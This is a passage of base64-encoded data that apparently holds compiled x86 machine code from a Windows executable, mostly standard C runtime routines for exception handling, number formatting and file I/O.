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VFR/3Uc/3UY/3UU/3UQ/3UM/3UI/9Bdw/91HP91GP91FP91EP91DP91COiU////WVD/FUyhQgBdw1WL7FaLdRAzwIX2dF6LTQxTV4t9CGpBW2paWiv5iVUQ6wNqWloPtwQPZjvDcg1mO8J3CIPAIA+30OsCi9APtwFmO8NyDGY7RRB3BoPAIA+3wIPBAk50CmaF0nQFZjvQdMEPt8gPt8JfK8FbXl3DzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u8zpQgDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7vM6UIA2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AXE6UIAw9nJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLbDpQgCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6EYyAACDxAzdRfhmgX0IfwJ0A9ltCMnDzMzMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgHAAAAw9wF4OlCALgBAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZL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